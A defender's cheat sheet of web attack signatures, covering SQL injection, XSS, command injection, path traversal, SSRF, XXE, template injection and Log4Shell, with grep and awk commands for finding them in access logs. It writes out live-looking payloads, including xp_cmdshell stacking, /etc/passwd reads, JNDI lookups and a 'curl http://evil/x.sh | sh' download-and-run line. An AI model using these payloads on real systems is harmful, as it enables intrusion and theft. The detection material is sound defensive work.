Web Attack Signatures

The common web-app attacks as they appear in access logs and WAF alerts — the payload pattern, the tell, and the grep/awk to find it. A defender's recognition guide, not an exploitation one. Click any pattern to copy it.

Start here

How to read this

Every one of these is the same root cause: user input that gets treated as code, a command, a query, or a path instead of data. You see them in web server access logs (the URL, query string, user-agent, referer), in WAF alerts, and in app logs. The signatures below are canonical patterns to recognize — attackers obfuscate, so also watch for the encoding tricks. Read the logs with the awk and HTTP Status sheets; this maps to Initial Access T1190 on the Attack Patterns sheet.

Where it shows: the requestURL path, query string (?id=...), POST body, headers (User-Agent, Referer, Cookie, X-Forwarded-For). Payloads hide in all of them, not just the URL.
The status-code tellA burst of 500s (injection breaking the app), 403/406 (WAF blocks), or 200s on weird URLs (success) from one IP. Cross-ref the HTTP Status sheet.
Scanner vs. targetedAutomated tools (sqlmap, Nikto, Nuclei, Acunetix) spray hundreds of payloads fast with telltale user-agents. A slow, hand-crafted few against one param is the one to worry about.
Post-exploit = webshellThe goal is often a webshell in the web root, then odd child processes under w3wp.exe/httpd/php-fpm. That's where this sheet hands off to the host sheets.

Injection

SQL injection (SQLi)

Input that alters the SQL query — to dump data, bypass auth, or run commands. Watch the DB-ish keywords and quote-breaking in parameters.

' OR '1'='1The textbook auth-bypass / always-true tautology. Variants: " OR 1=1--, ' OR 'a'='a. A quote followed by OR and a comparison in a param is the core tell.
UNION SELECTUNION-based extraction — appends attacker columns to the result. ' UNION SELECT username,password FROM users--. UNION+SELECT in a query string is high-signal.
--  ·  #  ·  /*Comment terminators that cut off the rest of the original query. A trailing -- or # after a quote in a param is a classic marker.
' AND SLEEP(5)--  ·  WAITFOR DELAYTime-based blind SQLi — no data returned, so they infer it from response delay. SLEEP, WAITFOR DELAY, pg_sleep, BENCHMARK(). Tell: slow responses on one param.
' AND 1=CONVERT(int,@@version)--Error-based — forces the DB to leak data in an error message. Tell: 500s with SQL error text in the response/app log.
; EXEC xp_cmdshellStacked query → OS command (MSSQL). xp_cmdshell, xp_dirtree, sp_ procs = SQLi escalating to host command execution.
sqlmap in User-AgentThe dominant SQLi tool. sqlmap/1.x in the UA, or a flood of encoded payloads against one param, means automated SQLi testing.

Injection

Cross-site scripting (XSS)

Input reflected into the page as HTML/JS, so the attacker's script runs in a victim's browser. Watch for markup in parameters.

<script>alert(1)</script>The canonical reflected XSS probe. Any <script>, or tags at all, inside a parameter value is the base tell.
<img src=x onerror=...>Event-handler XSS that fires without <script>. Watch onerror, onload, onmouseover, onfocus in params — the common filter bypass.
javascript:  ·  data:text/htmlURI-scheme payloads in href/src-bound params. javascript: and data: schemes where a normal URL should be.
<svg/onload=>  ·  <iframe>Tag-based variants used to dodge naive <script> filters. <svg, <iframe, <body onload in input.
document.cookie  ·  fetch(  ·  .src=Payload intent — cookie theft or beaconing. document.cookie, new Image().src=, fetch(/XMLHttpRequest to an external host in a param.
Stored vs reflectedReflected appears in the request and echoes back (one victim via a crafted link). Stored is saved (comment, profile) and hits everyone who views it — check POST bodies to content endpoints.

Injection

Command injection

Input passed to a shell, so the attacker chains their own OS command. Watch shell metacharacters next to a parameter value.

;  ·  |  ·  &&  ·  `cmd`  ·  $(cmd)The shell separators that chain a command onto a legit one. A ;, |, &&, backtick, or $(...) inside a param (esp. after a filename/host) is the core signature.
;id  ·  ;whoami  ·  |cat /etc/passwdProof-of-exec probes — quick commands to confirm injection. id, whoami, uname -a, hostname appended to input.
ping -c  ·  nslookup  ·  curl  ·  wgetBlind/OOB command injection — no output on the page, so they call out. A ping/nslookup/curl to an attacker domain confirms exec via the callback.
powershell -enc  ·  cmd /c  ·  /bin/sh -cWindows/Linux payloads in a web param. On IIS/ASP this becomes a w3wp → cmd/powershell chain — hand off to Sysmon 1 / 4688.
Download-and-run callbackThe real goal — curl http://evil/x.sh | sh, certutil -urlcache, or a webshell drop. Watch for an outbound fetch originating from the web service account.

Files

Path traversal & file inclusion

Input used as a file path, so the attacker escapes the web root to read (or run) arbitrary files.

../../../etc/passwdThe canonical directory traversal — ../ sequences climb out of the intended folder. The ../ (or ..\ on Windows) repeated in a path/param is the signature.
..%2f  ·  %2e%2e%2f  ·  ..%252fEncoded traversal to dodge filters — URL-encoded (%2f = /), double-encoded (%252f), or overlong UTF-8. Decode before you judge a log line.
/etc/passwd  ·  /etc/shadow  ·  win.iniTarget files — the usual read targets. boot.ini, web.config, .env, id_rsa, /proc/self/environ too. A known sensitive path in a param = traversal attempt.
Local File Inclusion (LFI)Traversal where the file is executed, not just read (PHP include($_GET['page'])). Tell: a param like ?page=/?file=/?template= pointed at a path. Pairs with log-poisoning to get code exec.
php://filter  ·  data://  ·  php://inputPHP wrappers used in LFI to read source (base64 filter) or inject code. Any php://, data://, expect:// in a param is high-signal.
Remote File Inclusion (RFI)The param points at an external URL that gets included and run — ?page=http://evil/shell.txt. An http:///ftp:// in a file param = RFI.

Injection

SSRF, XXE & the other common ones

The rest of the OWASP-regular signatures worth recognizing in a log.

SSRF → 169.254.169.254Server-Side Request Forgery — the app is tricked into fetching a URL. The cloud metadata IP (169.254.169.254), localhost, or internal IPs in a URL param = credential/metadata theft attempt.
<!ENTITY  ·  SYSTEM "file://XXE — malicious XML entities in an upload/POST to read files or SSRF. <!DOCTYPE/<!ENTITY/SYSTEM in an XML body.
{{7*7}}  ·  ${7*7}  ·  #{...}Template injection (SSTI) — math-probe payloads to see if the template engine evaluates input. A reflected 49 confirms it; leads to RCE.
${jndi:ldap://Log4Shell-style JNDI lookup — in any field that gets logged (User-Agent, headers). ${jndi:, ${env:, nested ${lower:} obfuscation. Still sprayed constantly.
shell.php  ·  .aspx  ·  .jsp uploadMalicious file upload — a script extension where images are expected, double extensions (x.php.jpg), or null bytes. Then a GET to that uploaded path = webshell live.
/admin  ·  /.git/  ·  /.env  ·  /actuatorForced browsing / info disclosure — hunting for exposed admin panels, source, secrets, and debug endpoints. A burst of 404s probing these paths is recon.
IDOR: /api/user/1001 → 1002Insecure Direct Object Reference — incrementing an ID to reach another user's data. Tell: one session walking sequential object IDs, lots of 200s or 403s in a row.

Put it together

Hunt in access logs & evade the evasion

Finding these in logs, and seeing through the obfuscation that hides them.

grep -iE "union.*select|or 1=1|sleep\(" access.logFast SQLi sweep. Add information_schema, xp_cmdshell, benchmark\(.
grep -iE "<script|onerror=|javascript:|<svg" access.logXSS probes across the log — markup and event handlers in requests.
grep -En '%3C|%3E|<|>' access.logThe broad net — any angle bracket, raw or URL-encoded (%3C=< %3E=>). Catches encoded/novel XSS the keyword grep misses; noisier, so pair with the loud-IP filter. -n gives line numbers.
grep -E "\.\./|\.\.%2f|%2e%2e" access.logTraversal, raw and URL-encoded. Add etc/passwd, win.ini, php://.
grep -E '\.\./|%2E%2E%2F|%2E%2E%2E%2E%2F%2F' access.logUppercase-encoded traversal and a doubled-char evasion (%2E=. %2F=/). The lowercase line above is case-sensitive and misses these — so run both, or just use grep -iE to cover either case in one pass.
grep -iE "[;|&\`]\s*(id|whoami|cat|curl|wget|ping)\b" access.logCommand-injection probes — a shell separator followed by a recon command.
awk '$9>=500 {print $1}' access.log | sort | uniq -c | sort -rnTop IPs causing 500s — injection often breaks the app first. The awk counting pattern; swap $9 for your status column.
awk '{print $1}' access.log | sort | uniq -c | sort -rn | headLoudest clients — scanners spray. Pivot a noisy IP into the payload greps above, and enrich it with the tools on the home page.
grep -iE "sqlmap|nikto|nuclei|acunetix|nmap|masscan|curl/|python-requests" access.logScanner user-agents — not proof, but a strong prioritization signal.
Decode before you judgeEvasion: URL-encoding (%27=' %3C=<), double-encoding (%253C), case (UnIoN), inline comments (UN/**/ION), and whitespace tricks. URL-decode the log line (twice) before pattern-matching, or you'll miss it.

The flow: status-code spike or WAF alert → find the loud IP → grep its requests for these patterns (decoded) → if a payload succeeded (200 on an odd URL, a new file in the web root), pivot to the host: odd children under the web service in Sysmon 1 / 4688, then the Attack Patterns chain from there.